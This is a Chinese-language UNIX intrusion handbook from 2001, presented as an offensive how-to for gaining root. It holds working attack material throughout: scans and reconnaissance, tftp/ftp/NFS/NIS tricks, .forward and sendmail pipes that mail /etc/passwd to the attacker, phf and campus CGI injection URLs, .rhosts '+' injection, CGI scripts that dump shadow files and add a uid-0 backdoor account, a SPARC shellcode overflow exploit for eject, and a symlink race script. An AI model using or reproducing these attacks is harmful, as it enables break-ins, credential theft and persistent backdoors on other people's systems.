![[ 永遠的UNIX::UNIX技術資料的寶庫 ]](/images/title.gif) GB | BIG5
|
| 首頁 > 安全技術 > 其它 > 正文 |
 |
| 網絡入侵實用戰術手冊 |
| 作者:samsa (2001-04-16 13:10:30) |
[摘要] 入侵一個系統有很多步驟，階段性很強的“工作”，其最終的目
標是獲得超級用戶權限對目標系統的絕對控制。從對該系統一無所知
開始，我們利用其提供的各種網絡服務收集關它的信息，這些信息暴露
出系統的安全脆弱性或潛在入口；然我們利用這些網絡服務固有的或配
置上的漏洞，試圖從目標系統上取回重要信息（如口令文件）、或在上面
執行命令，通過這些辦法，我們有可能在該系統上獲得一個普通的shell
接口；接下來，我們再利用目標系統本地的操作系統或應用程序的漏洞試
圖提升我們在該系統上的權限，攫取超級用戶控制；適當的善工作包括
隱藏身份、消除痕跡、安置特洛伊木馬和留門。
(零)、確定目標
1) 目標明確--那就不用廢話了
2) 抓網：從一個有很多鏈接的WWW站點開始，順籐摸瓜；
3) 區段搜索：如用samsa開發的mping(multi-ping);
4) 到網上去找站點列表；
(一)、 白手起家（情報搜集）
從一無所知開始：
1) tcp_scan，udp_scan
# tcp_scan numen 1-65535
7:echo:
9:discard:
13:daytime:
19:chargen:
21:ftp:
23:telnet:
25:smtp:
37:time:
79:finger
111:sunrpc:
512:exec:
513:login:
514:shell:
515:printer:
540:uucp:
2049:nfsd:
4045:lockd:
6000:xwindow:
6112:dtspc:
7100:fs:
…
# udp_scan numen 1-65535
7:echo:
9:discard:
13:daytime:
19:chargen:
37:time:
42:name:
69:tftp:
111:sunrpc:
161:UNKNOWN:
177:UNKNOWN:
...
看什:
1.1)可疑服務: finger,sunrpc,nfs,nis(yp),tftp,etc..
1.2)系統入口: ftp,telnet,http, shell(rsh), login (rlogin),smtp,exec(rexec)
(samsa: [/etc/inetd.conf]最要緊!!)
2) finger
# finger root@numen
[numen]
Login Name TTY Idle When Where
root Super-User console 1 Fri 10:03 :0
root Super-User pts/6 6 Fri 12:56 192.168.0.116
root Super-User pts/7 Fri 10:11 zw
root Super-User pts/8 1 Fri 10:04 :0.0
root Super-User pts/1 4 Fri 10:08 :0.0
root Super-User pts/11 3:16 Fri 09:53 192.168.0.114
root Super-User pts/10 Fri 13:08 192.168.0.116
root Super-User pts/12 1 Fri 10:13 :0.0
(samsa: root 這多，不容易被發現哦~)
# finger ylx@numen
[victim.com]
Login Name TTY Idle When Where
ylx ??? pts/9 192.168.0.79
# finger @numen
[numen]
Login Name TTY Idle When Where
root Super-User console 7 Fri 10:03 :0
root Super-User pts/6 11 Fri 12:56 192.168.0.116
root Super-User pts/7 Fri 10:11 zw
root Super-User pts/11 3:21Fri 09:53 192.16 numen:pts/10 May 7 13:08 18 (192.168.0.116)
(samsa:如果沒有finger,就只好有rusers樂)
4) showmount
# showmount -ae numen
export table of numen:
/space/users/lpf sun9
samsa:/space/users/lpf
sun9:/space/users/lpf
(samsa:該機提供了那些共享目錄,誰共享了這些目錄[/etc/dfs/dfstab])
5) rpcinfo
# rpcinfo -p numen
program vers proto port service
100000 4 tcp 111 rpcbind
100000 4 udp 111 rpcbind
100024 1 udp 32772 status
100024 1 tcp 32771 status
100021 4 udp 4045 nlockmgr
100001 2 udp 32778 rstatd
100083 1 tcp 32773 ttdbserver
100235 1 tcp 32775
100021 2 tcp 4045 nlockmgr
100005 1 udp 32781 mountd
100005 1 tcp 32776 mountd
100003 2 udp 2049 nfs
100011 1 udp 32822 rquotad
100002 2 udp 32823 rusersd
100002 3 tcp 33180 rusersd
100012 1 udp 32824 sprayd
100008 1 udp 32825 walld
100068 2 udp 32829 cmsd
(samsa:[/etc/rpc]可惜沒開rexd,據說開了rexd就跟沒password一樣哦!
不過有rstat,rusers,mount和nfs:-)
6) x-windows
# DISPLAY=victim.com:0.0
# export DISPLAY
# xhost
access control disabled, clients can connect from any host
(samsa:great!!!)
# xwininfo -root
xwininfo: Window id: 0x25 (the root window) (has no name)
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1152
Height: 900
Depth: 24
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x21 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1152x900+0+0
(samsa:can't be greater!!!!!!!!!!!)
7) smtp
# telnet numen smtp
Trying 192.168.0.198...
Connected to numen.
Escape character is '^]'.
220 numen.ac.cn ESMTP Sendmail 8.9.1b+Sun/8.9.1; Fri, 7 May 1999 14:01:39 +0800
(CST)
expn root
250 Super-User
vrfy ylx
250
expn ftp
250
(samsa:ftp說明有匿名ftp)
(samsa:如果沒有finger和rusers，只好用這種方法一個個猜用戶名樂)
debug
500 Command unrecognized: "debug"
wiz
500 Command unrecognized: "wiz"
(samsa:這些名的漏洞現在哪兒還會有呢？:-(()
8) 使用 scanner(***)
# satan victim.com
...
(samsa:satan 是圖形界面的,就沒法陳列了!!
列舉出 victim.com 的系統類型(e.g.SunOS 5.7),提供的服務(e.g.WWW)和存在的脆弱性)
二、隔山打牛（遠程攻擊）
1) 隔空取物:取得passwd
1.1) tftp
# tftp numen
tftp> get /etc/passwd
Error code 2: Access violation
tftp> get /etc/shadow
Error code 2: Access violation
tftp> quit
(samsa:一無所獲,但是...)
# tftp sun8
tftp> get /etc/passwd
Received 965 bytes in 0.1 seconds
tftp> get /etc/shadow
Error code 2: Access violation
(samsa:成功了!!!;-)
# cat passwd
root:x:0:0:Super-User:/:/bin/ksh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:/bin/sh
adm:x:4:4:Admin:/var/adm:
lp:x:71:8:Line Printer Admin:/usr/spool/lp:
smtp:x:0:0:Mail Daemon User:/:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:Nobody:/:
noaccess:x:60002:60002:No Access User:/:
ylx:x:10007:10::/users/ylx:/bin/sh
wzhou:x:10020:10::/users/wzhou:/bin/sh
wzhang:x:10101:4:Walt Whiteman:/users/wzhang:/sbin/sh
(samsa:可惜是shadow過了的:-/)
1.2) 匿名ftp
1.2.1) 直接獲得
# ftp sun8
Connected to sun8.
220 sun8 FTP server (UNIX(r) System V Release 4.0) ready.
Name (sun8:root): anonymous
331 Guest login ok, send ident as password.
Password:
(samsa:your e-mail address,當然，是假的:->)
230 Guest login ok, access restrictions apply.
ftp> ls
200 PORT command successful.
150 ASCII data connection for /bin/ls (192.168.0.198,34243) (0 bytes).
bin
dev
etc
incoming
pub
usr
226 ASCII Transfer complete.
35 bytes received in 0.85 seconds (0.04 Kbytes/s)
ftp> cd etc
250 CWD command successful.
ftp> ls
200 PORT command successful.
150 ASCII data connection for /bin/ls (192.168.0.198,34244) (0 bytes).
group
passwd
226 ASCII Transfer complete.
15 bytes received in 0.083 seconds (0.18 Kbytes/s)
ftp> get passwd
200 PORT command successful.
150 ASCII data connection for passwd (192.168.0.198,34245) (223 bytes).
226 ASCII Transfer complete.
local: passwd remote: passwd
231 bytes received in 0.038 seconds (5.98 Kbytes/s)
# cat passwd
root:x:0:0:Super-User:/:/bin/ksh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:/bin/sh
adm:x:4:4:Admin:/var/adm:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nobody:x:60001:60001:Nobody:/:
ftp:x:210:12::/export/ftp:/bin/false
(samsa:正常!把完整的 passwd 放在匿名ftp目錄下的笨蛋太少了)
1.2.2) ftp 主目錄可寫
# cat forward_sucker_file
"| /bin/cat /etc/passwd|sed 's/^/ /'|/bin/mail me@my.e-mail.addr"
# ftp victim.com
Connected to victim.com
220 victim FTP server ready.
Name (victim.com:zen): ftp
331 Guest login ok, send ident as password.
Password:[your e-mail address:forged]
230 Guest login ok, access restrictions apply.
ftp> put forward_sucker_file .forward
43 bytes sent in 0.0015 seconds (28 Kbytes/s)
ftp> quit
# echo test | mail ftp@victim.com
(samsa:等著passwd文件隨郵件來到吧...)
1.3) WWW
名的cgi大bug
1.3.1) phf
http://silly.com/cgi-bin/nph-test-cgi?*
http://silly.com/cgi-bin/phf?Qalias=x%0aless%20/etc/passwd
1.3.2) campus
http://silly.edu/cgi-bin/campus?%0a/bin/cat%0a/etc/passwd
1.3.3) glimpse
http://silly.com/cgi-bin/aglimpse/80|IFS=5;CMD=5mail5me\mailto:@my.e-mail.
addr\
(samsa:行太長,折了折,不要緊吧? ;-)
1.4) nfs
1.4.1) 如果把/etc共享出來，就不必說了
1.4.2) 如果某用戶的主目錄共享出來
# showmount -e numen
export list for numen:
/space/users/lpf sun9
/space/users/zw (everyone)
# mount -F nfs numen:/space/users/zw /mnt
# cd /mnt
# ls -ld .
drwxr-xr-x 6 1005 staff 2560 1999 5月 11 .
# echo zw:x:1005:1:temporary break-in account:/:/bin/sh >> /etc/passwd
# echo zw::::::::: >> /etc/shadow
# su zw
$ cat >.forward
"| /bin/cat /etc/passwd|sed 's/^/ /'|/bin/mail me@my.e-mail.addr"
^D
# echo test | mail zw@numen
(samsa:等著你的郵件吧....)
1.5) sniffer
利用ethernet的廣播性質，偷聽網絡上經過的IP包，從而獲得口令。
關sniffer的原理和技術細節，見[samsa 1999].
(samsa:沒什意思,有種``勝之不武''的感覺...)
1.6) NIS
1.6.1) 猜測域名，然用ypcat(或對NIS+:niscat)可獲得passwd（甚至shadow）
1.6.2) 若能控制NIS服務器，可創建郵件別名
nis-master # echo 'foo: "| mail me@my.e-mail.addr < /etc/passwd "' >> /etc/aliases
nis-master # cd /var/yp
nis-master # make aliases
nis-master # echo test | mail -v foo@victim.com
1.7) e-mail
e.g.利用majordomo(ver. 1.94.3)的漏洞
Reply-to: a~.`/usr/bin/rcp\${IFS}me@hacker.home.edu:script\${IFS}/tmp
/script&&source\${IFS}/tmp/script`.q~a/ad=cucu/c=scapegoat\\\@his.e-mail
# cat script
/bin/cat /etc/passwd|sed 's/^/ /'|/bin/mail me@my.e-mail.addr
#
1.8) sendmail
利用sendmail 5.55的漏洞:
# telnet victim.com 25
Trying xxx.xxx.xxx.xxx...
Connected to victim.com
Escape character is '^]'.
220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
mail from: "|/bin/mail me@my.e-mail.addr < /etc/passwd"
250 "|/bin/mail me@my.e-mail.addr < /etc/passwd"... Sender ok
rcpt to: nosuchuser
550 nosuchuser... User unknown
data
354 Enter mail, end with "." on a line by itself
.
250 Mail accepted
quit
Connection closed by foreign host.
(samsa:wait...)
2) 遠程控制
2.1) DoS攻擊
2.1.1) Syn-flooding
向目標發起大量TCP連接請求，但不按TCP協議規定完成正常的3次握手，導致目標系統等待，耗費其
網絡資源，從而導致其網絡服務不可用。
2.1.2) Ping-flooding
向目標系統發大量ping包,i.e.ICMP_ECHO包，使目標的網絡接口應接不暇而癱瘓。
2.1.3) Udp-stroming
類似2.1.2)發大量udp包。
2.1.4) E-mail bombing
發大量e-mail到對方郵箱，使其沒有剩余容量接收正常郵件。
2.1.5) Nuking
向目標系統某端口發送一點特定數據，使之崩潰。
2.1.6) Hi-jacking
冒充特定網絡連接之一放向網絡上發送特定包(FIN或RST)，以中止特定網絡連接；
2.2) WWW（遠程執行）
2.2.1) phf CGI
2.2.3) campus CGI
2.2.4) glimpse CGI
(samsa:在網上看見NT下也有一個叫websn.exe的buggy CGI,詳情不清楚)
2.3) e-mail
同1.7，利用majordomo(ver. 1.94.3)的漏洞
2.4) sunrpc:rexd
據說如果rexd開放，且rpcbind不是secure方式，就相當沒有口令，可以任意遠程
運行目標機器上的過?nbsp;
2.5) x-windows
如果xhost的access control is disabled,就可以遠程控制這台機器的顯示系統，在
上面任意顯示，還可以偷竊鍵盤輸入和顯示內容，甚至可以遠程執行...
三、登堂入室（遠程登錄）
1) telnet
要點是取得用戶帳號和保密字
1.1) 取得用戶帳號
1.1.1) 使用“白手起家”中介紹的方法
1.1.2) 其他方法：e.g.根據從那個站點寄出的e-mail地址
1.2) 獲取口令
1.2.1) 口令破解
1.2.1.1) 使用“隔空取物”中介紹的方法取得/etc/passwd和/etc/shadow
1.2.1.2) 使用口令破解程序破解口令
e.g.使用john the riper：
# unshadow passwd shadow > pswd.1
# pwd_crack -single pswd.1
# pwd_crack -wordfile:/usr/dict/words -rules pswd.1
# pwd_crack -i:alph5 pswd.1
1.2.1.3) 使用samsa開發的適合中國人的字典生成程序
# dicgen 1 words1 /* 所有1音節的漢語拼音 */
# dicgen 2 words2 /* 所有2音節的漢語拼音 */
# dicgen 3 words3 /* 所有3音節的漢語拼音 */
# pwd_crack -wordfile:words1 -rules pswd.1
# pwd_crack -wordfile:words2 -rules pswd.1
# pwd_crack -wordfile:words3 -rules pswd.1
1.2.2) 蠻幹(brute force)：猜測口令
猜法：與用戶名相同的口令，用戶名的簡單變體，機構名，機器型號etc
e.g. cxl: cxl,cxl111,cxl123,cxl12345,cxlsun,ultra30 etc...
(samsa:如果用戶數足夠多，這種方法還是很有效的:需要運氣和靈感)
2) r-命令:rlogin,rsh
關鍵在信任關系，即:/etc/hosts.equiv,~/.rhosts文件
2.1) /etc/hosts.equiv
如果/etc/hosts.equiv文件中有一個"+"，那任何一台主機上的任何一個用戶（root除
外），可以遠程登錄而不需要口令,並成為該機上同名用戶;
2.2) ~/.rhosts
如果某用戶主目錄(home directory)下.rhosts文件中有一個"+"，那任何一台主機上
的同名用戶可以遠程登錄而不需要口令
2.3) 改寫這兩個文件
2.3.1) nfs
如果某用戶的主目錄共享出來
# showmount -e numen
export list for numen:
/space/users/lpf sun9
/space/users/zw (everyone)
# mount -F nfs numen:/space/users/zw /mnt
# cd /mnt
# ls -ld .
drwxr-xr-x 6 1005 staff 2560 1999 5月 11 .
# echo zw:x:1005:1:temporary break-in account:/:/bin/sh >> /etc/passwd
# echo zw::::::::: >> /etc/shadow
# su zw
$ cat >.rhosts
+
^D
$ rsh numen csh -i
Warning: no access to tty; thus no job control in this shell...
numen%
2.3.2) smtp
利用``decode''別名
a) 若任一用戶主目錄(e.g./home/zen)或其下.rhosts對daemon可寫，則
# echo "+" | uuencode /home/zen/.rhosts | mail decode@victim.com
(samsa:是/home/zem/.rhosts中就出現一個"+")
b) 無用戶主目錄或其下.rhosts對daemon可寫，則利用/etc/aliases.pag,
因為許多系統中該文件是world-writable.
# cat decode
bin: "| cat /etc/passwd | mail me@my.e-mail.addr"
# newaliases -oQ/tmp -oA`pwd`/decode
# uuencode decode.pag /etc/aliases.pag | mail decode@victom.com
# /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null
(samsa:wait .....)
c) sendmail 5.59 以前的bug
# cat evil_sendmail
telnet victim.com 25 << EOSM
rcpt to: /home/zen/.rhosts
mail from: zen
data
random garbage
.
rcpt to: /home/zen/.rhosts
mail from: zen
data
+
.
quit
EOSM
# /bin/sh evil_sendmail
Trying xxx.xxx.xxx.xxx
Connected to victim.com
Escape character is '^]'.
Connection closed by foreign host.
# rlogin victim.com -l zen
Welcome to victim.com!
$
d) sendmail 的一個較`新'bug
# telnet victim.com 25
Trying xxx.xxx.xxx.xxx...
Connected to victim.com
Escape character is '^]'.
220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
mail from: "|echo + >> /home/zen/.rhosts"
250 "|echo + >> /home/zen/.rhosts"... Sender ok
rcpt to: nosuchuser
550 nosuchuser... User unknown
data
354 Enter mail, end with "." on a line by itself
.
250 Mail accepted
quit
Connection closed by foreign host.
# rsh victim.com -l zen csh -i
Welcome to victim.com!
$
2.3.3) IP-spoofing
r-命令的信任關系建立在IP上，所以通過IP-spoofing可以獲得信任;
3) rexec
類似telnet,也必須拿到用戶名和口令
4) ftp 的古老bug
# ftp -n
ftp> open victim.com
Connected to victim.com
220 victim.com FTP server ready.
ftp> quote user ftp
331 Guest login ok, send ident as password.
ftp> quote cwd ~root
530 Please login with USER and PASS.
ftp> quote pass ftp
230 Guest login ok, access restrictions apply.
ftp> ls -al / (or whatever)
(samsa:你已經是root了)
四、溜門撬鎖
一旦在目標機上獲得一個(普通用戶)shell,能做的事情就多了
1) /etc/passwd , /etc/shadow
能看則看，能取則取，能破則破
1.1) 直接(no NIS)
$ cat /etc/passwd
......
1.2) NIS(yp:yellow page)
$ domainname
cas.ac.cn
$ ypwhich -d cas.ac.cn
$ ypcat passwd
1.3) NIS+
ox% domainname
ios.ac.cn
ox% nisls
ios.ac.cn:
org_dir
groups_dir
ox% nisls org_dir
org_dir.ios.ac.cn.:
passwd
group
auto_master
auto_home
bootparams
cred
ethers
hosts
mail_aliases
sendmailvars
netmasks
netgroup
networks
protocols
rpc
services
timezone
ox% niscat passwd.org_dir
root:uop5Jji7N1T56:0:1:Super-User:/:/bin/csh:9841::::::
daemon:NP:1:1::/::6445::::::
bin:NP:2:2::/usr/bin::6445::::::
sys:NP:3:3::/::6445::::::
adm:NP:4:4:Admin:/var/adm::6445::::::
lp:NP:71:8:Line Printer Admin:/usr/spool/lp::6445::::::
smtp:NP:0:0:Mail Daemon User:/::6445::::::
uucp:NP:5:5:uucp Admin:/usr/lib/uucp::6445::::::
listen:*LK*:37:4:Network Admin:/usr/net/nls::::::::
nobody:NP:60001:60001:Nobody:/::6445::::::
noaccess:NP:60002:60002:No Access User:/::6445::::::
guest:NP:14:300:Guest:/hd2/guest:/bin/csh:10658::::::
syscd:qkPu7IcquHRRY:120:10::/usr/syscd:/bin/csh:::::::
peif:DyAkTGOg/2TCY:819:800:Pei Fei:/home/peif:/bin/csh:10491::::::
lxh:T4FjqDv0LG7uM:510:500:Liu Xuehui:/home/lxh:/bin/csh:10683::::::
fjh:5yPB5xLOibHD6:507:500:Feng Jinhui:/home/fjh:/bin/csh:10540::::::
lhj:UGAVVMvjp/9UM:509:500:Li Hongju:/home/lhj:/bin/csh:10142::::::
....
(samsa:gotcha!!!)
2) 尋找系統漏洞
2.0) 搜集信息
ox% uname -a
SunOS ox 5.5 Generic sun4d sparc SUNW,SPARCserver-1000
ox% id
uid=820(ywc) gid=800(ofc)
ox% hostname
ox
ox% domainname
ios.ac.cn
ox% ifconfig -a
lo0: flags=849 mtu 8232
inet 127.0.0.1 netmask ff000000
be0: flags=863 mtu 1500
inet 159.226.5.188 netmask ffffffc0 broadcast 159.226.5.191
ipd0: flags=c0 mtu 8232
inet 0.0.0.0 netmask 0
ox% netstat -rn
Routing Table:
Destination Gateway Flags Ref Use Interface
-------------------- -------------------- ----- ----- ------ ---------
127.0.0.1 127.0.0.1 UH 0 738 lo0
159.226.5.128 159.226.5.188 U 3 341 be0
224.0.0.0 159.226.5.188 U 3 0 be0
default 159.226.5.189 UG 0 1198
......
2.1) 尋找可寫文件、目錄
ox% cd /tmp
ox% mkdir .hide
ox% cd .hide
ox% ls -ld `find / \( \( -type d -o -type f \) -a \( -perm -0002 -o -group 800 \
-a -perm -0020 \) \) -print` >.wr
(samsa:wr=writables:可寫目錄、文件)
ox% grep '^d' .wr > .wd
(samsa:wd=writable directories:目錄)
ox% grep '^-' .wr > .wf
(samsa:wf=writable files:普通文件)
ox% ls -l `find / \( -perm -4000 -a -user root \) -print` >.sr
(samsa:sr=suid roots)
2.1.1) 系統配置文件可寫:e.g.pam.conf,inetd.conf,inittab,passwd,etc.
2.1.2) bin 目錄可寫:e.g./usr/bin,/usr/local/bin,etc. (see:Trojan horses)
2.1.3) log 文件可寫:e.g./var/adm/wtmp,/var/adm/messges,etc.(for track-erasing)
2.2) 篡改主頁
絕大多數系統 http 根目錄下權限設置有誤！不信請看：
ox1% grep http /etc/inetd.conf
ox1% ps -ef | grep http
http 7538 251 0 14:02:35 ? 0:02 /opt/home1/ofc/http/httpd/httpd -
f /opt/home1/ofc/http/httpd/conf/httpd.conf
http 7567 251 0 15:16:46 ? 0:01 /opt/home1/ofc/http/httpd/httpd -
f /opt/home1/ofc/http/httpd/conf/httpd.conf
root 251 1 0 May 05 ? 3:27 /opt/home1/ofc/http/httpd/httpd -
f /opt/home1/ofc/http/httpd/conf/httpd.conf
......
ox1% cd /opt/home1/ofc/http/httpd
ox1% ls -l |more
total 530
drwxrwxrwx 11 http ofc 512 Jan 18 13:21 English
-rw-rw-rw- 1 http ofc 8217 May 10 09:42 Welcome.html
drwxr-sr-x 2 http ofc 512 Dec 24 15:20 cgi-bin
drwxr-sr-x 2 http ofc 512 Mar 24 1997 cgi-src
drwxrwxrwx 2 http ofc 512 Jan 12 15:05 committee
drwxr-sr-x 2 root ofc 512 Jul 2 1998 conf
-rwxr-xr-x 1 http ofc 203388 Jul 2 1998 httpd
drwxrwxrwx 2 http ofc 512 Jan 12 15:06 icons
drwxrwxrwx 2 http ofc 3072 Jan 12 15:07 images
-rw-rw-rw- 1 http ofc 7532 Jan 12 15:08 index.htm
drwxrwxrwx 2 http ofc 512 Jan 12 15:07 introduction
drwxr-sr-x 2 http ofc 512 Apr 13 08:46 logs
drwxrwxrwx 2 http ofc 1024 Jan 12 17:19 research
(samsa:哈哈！！差不多全都可以寫，太牛了，改吧，還等什？？）
3) 拒絕服務（DoS:Denial of Service）
利用系統漏洞搗亂
e.g. Solaris 2.5(2.5.1)下：
$ ping -sv -i 127.0.0.1 224.0.0.1
PING 224.0.0.1 56 data bytes
(samsa:是機器就reboot樂,荷荷)
五、雄霸天下（rootshell）
取得超級用戶權限
1)利用錯誤配置
1.1) 利用cgi-bin
e.g.有一次：
$ hostname
victim.com
$ grep http /etc/inetd.conf
http stream tcp nowait root /usr/local/etc/httpd/httpd httpd
(samsa:以root來運行httpd，太玩火樂...)
$ cd /usr/local/etc/httpd
$ ls -l
total 530
drwxrwxrwx 2 http ofc 512 Dec 24 15:20 cgi-bin
drwxr-sr-x 2 http ofc 512 Mar 24 1997 cgi-src
drwxr-sr-x 2 root ofc 512 Jul 2 1998 conf
-rw-rw-rw- 1 http ofc 3814 Jan 12 17:14 contact.htm
-rw-rw-rw- 1 http ofc 604 Apr 16 10:08 dm.html
drwxrwxrwx 2 http ofc 1536 Apr 9 16:51 education
-rwxr-xr-x 1 http ofc 203388 Jul 2 1998 httpd
drwxrwxrwx 2 http ofc 512 Jan 12 15:06 icons
drwxrwxrwx 2 http ofc 3072 Jan 12 15:07 images
-rw-rw-rw- 1 http ofc 7532 Jan 12 15:08 index.htm
drwxr-sr-x 2 http ofc 512 Apr 13 08:46 logs
drwxrwxrwx 2 http ofc 512 Jan 12 17:18 publications
drwxrwxrwx 2 http ofc 1024 Jan 12 15:07 qita
(samsa:cgi-bin可寫，你完了！！！）
$ cd cgi-bin
$ mkdir .hide; cd .hide
$ cat > .getps
#!/bin/sh
echo "------ passwd ------"
/bin/cat /etc/passwd
echo "------ shadow ------"
/bin/cat /etc/shadow
^D
$ chmod a+x .getps
在瀏覽器location欄中鍵入http://victim.com/cgi-bin/.hide/.getps
得到以下輸出:
------ passwd ------
root:x:0:1:Super-User:/:/usr/bin/ksh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
lp:x:71:8:Line Printer Admin:/usr/spool/lp:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:Nobody:/:
noaccess:x:60002:60002:No Access User:/:
nobody4:x:65534:65534:SunOS 4.x Nobody:/:
leopard:x:100:20::/space/users/lpf:/bin/sh
------ shadow ------
root:W27wJyew7noIs:10710::::::
daemon:NP:6445::::::
bin:NP:6445::::::
sys:NP:6445::::::
adm:NP:6445::::::
lp:NP:6445::::::
uucp:NP:6445::::::
nuucp:NP:6445::::::
listen:*LK*:::::::
nobody:NP:6445::::::
noaccess:NP:6445::::::
nobody4:NP:6445::::::
leopard:5gLpBVsH5lumg:10703::::::
添加用戶,取一個象系統的名字，如smnp:
$ cat >.mkusr
#!/bin/sh
cat > /etc/passwd <root:x:0:1:Super-User:/:/usr/bin/ksh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
lp:x:71:8:Line Printer Admin:/usr/spool/lp:
smnp:x:0:1:SmNetManager:/:/usr/bin/ksh # hacker
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:Nobody:/:
noaccess:x:60002:60002:No Access User:/:
nobody4:x:65534:65534:SunOS 4.x Nobody:/:
leopard:x:100:20::/space/users/lpf:/bin/sh
EOF
^D
$ cat >.mksw
#!/bin/sh
cat > /etc/shadow <root:W27wJyew7noIs:10710::::::
daemon:NP:6445::::::
bin:NP:6445::::::
sys:NP:6445::::::
adm:NP:6445::::::
lp:NP:6445::::::
smnp:::::::: # hacker
uucp:NP:6445::::::
nuucp:NP:6445::::::
listen:*LK*:::::::
nobody:NP:6445::::::
noaccess:NP:6445::::::
nobody4:NP:6445::::::
leopard:5gLpBVsH5lumg:10703::::::
EOF
^D
$ chmod a+x .mkusr .mksw
在瀏覽器location欄中依次鍵入http://victim.com/cgi-bin/.hide/.mkusr
和http://victim.com/cgi-bin/.hide/.mksw
$ su smnp
# id
uid=0(root) gid=1(sys)
(samsa:成功了！！！）
2)利用操作系統漏洞
操作系統漏洞或應用程序漏洞，通常要求程序本身是SUID ROOT的。
其中“堆棧溢出”和“競爭條件”兩類最多，加起來大概可以佔所有系統漏洞80%。
前者最終exec一個shell,euid=0，從而成為root;
者通常寫root主目錄下的.rhosts文件，然通過rsh成為root;
2.1) 堆棧溢出
e.g. SunOS 5.5 上的/usr/bin/eject程序處理數據緩沖區邊界有誤，通過使數據越
過邊界，改寫堆棧中函數返回地址，以使函數返回時，不跳轉到調用它的地方，而是
跳轉到數據區的某處，那裡放著我們的代碼...
------------------------- begin: eject.c --------------------------------
#include
#include
#include
#include
#define BUF_LENGTH 364
#define EXTRA 400
#define STACK_OFFSET 400
#define SPARC_NOP 0xa61cc013
u_char sparc_shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
"\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
"\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08"
;
u_long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}
void main(int argc, char *argv[])
{
char buf[BUF_LENGTH + EXTRA + 8];
long targ_addr;
u_long *long_p;
u_char *char_p;
int i, code_length = strlen(sparc_shellcode),dso=0;
if(argc > 1) dso=atoi(argv[1]);
long_p =(u_long *) buf ;
targ_addr = get_sp() - STACK_OFFSET - dso;
for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
*long_p++ = SPARC_NOP;
char_p = (u_char *) long_p;
for (i = 0; i < code_length; i++)
*char_p++ = sparc_shellcode[i];
long_p = (u_long *) char_p;
for (i = 0; i < EXTRA / sizeof(u_long); i++)
*long_p++ =targ_addr;
printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
execl("/bin/eject", "eject", & buf[1],(char *) 0);
perror("execl failed");
}
------------------------------ end: eject.c ------------------------------
假設你在ox上只有普通帳號,想成為root:
ox% uname -a
SunOS ox 5.5 Generic sun4d sparc SUNW,SPARCserver-1000
ox% gcc eject.c -o ej
ox% ./ej
#
(samsa: 輕鬆成為root，哇！！！）
2.2) 競爭條件（race condition,or symbolic-link following)
e.g.也是SunOS 5.5上的例子,先看程序:
--------------------------- begin: uhit.sh ----------------------
#!/bin/sh
CALIB=/usr/openwin/bin/kcms_calibrate
CONF=/usr/openwin/bin/kcms_configure
PROFDIR=/usr/openwin/share/etc/devdata/profiles
SEM=Kp_kcms_sys.sem
PROFFILE=kcmsEKsony17.mon
DISP=hacker.home.edu:0.0
DISPLAY=$DISP
export DISPLAY
/bin/rm -rf /tmp/$SEM
ln -s /.rhosts /tmp/$SEM
$CALIB&
while [ 1 ]
do
echo "Click the device you've chosen in kcms_calibrate window"
$CONF -o -d $DISP $PROFDIR/$PROFFILE
if [ -f /.rhosts ]
then
echo " " >> /.rhosts
echo "+" >> /.rhosts
fi
done
--------------------------- end : uhit.sh ----------------------
其中 PROFFILE 和 DISP 兩個變量是需要根據具體環境改成適當的值的.
說明一下，``kcms_calibrate''是openwin系統用來調整顯示器參數的一個
程序，該程序在/tmp目錄下創建一個臨時文件``Kp_kcms_sys.sem'',並且是
symbolic-link following的，也就是說，如果你在該目錄下創建一個同名
的符號鏈接，那該程序就會跟隨這個符號鏈接，從而去操作該鏈接所指向的
那個文件，具體到這裡，就是root的主目錄下的/.rhosts，如果該文件不存
在，就創建它，並把它的權限修改成world-writable。
$ ls -l /usr/openwin/bin/kcms*
-rwsr-sr-x 1 root bin 94044 1998 7月 10 kcms_calibrate
-rwsr-sr-x 1 root bin 27752 1998 7月 10 kcms_configure
-rwxr-xr-x 1 root bin 24380 1998 7月 10 kcms_server
這一切之所以可能，正是因為``kcms_calibrate''和``kcms_configure''都是
SUID root的。
現在把過程講一下：
第一步在你自己的機器上做，要求你必須在你自己機器的(有圖形顯示器的)控制
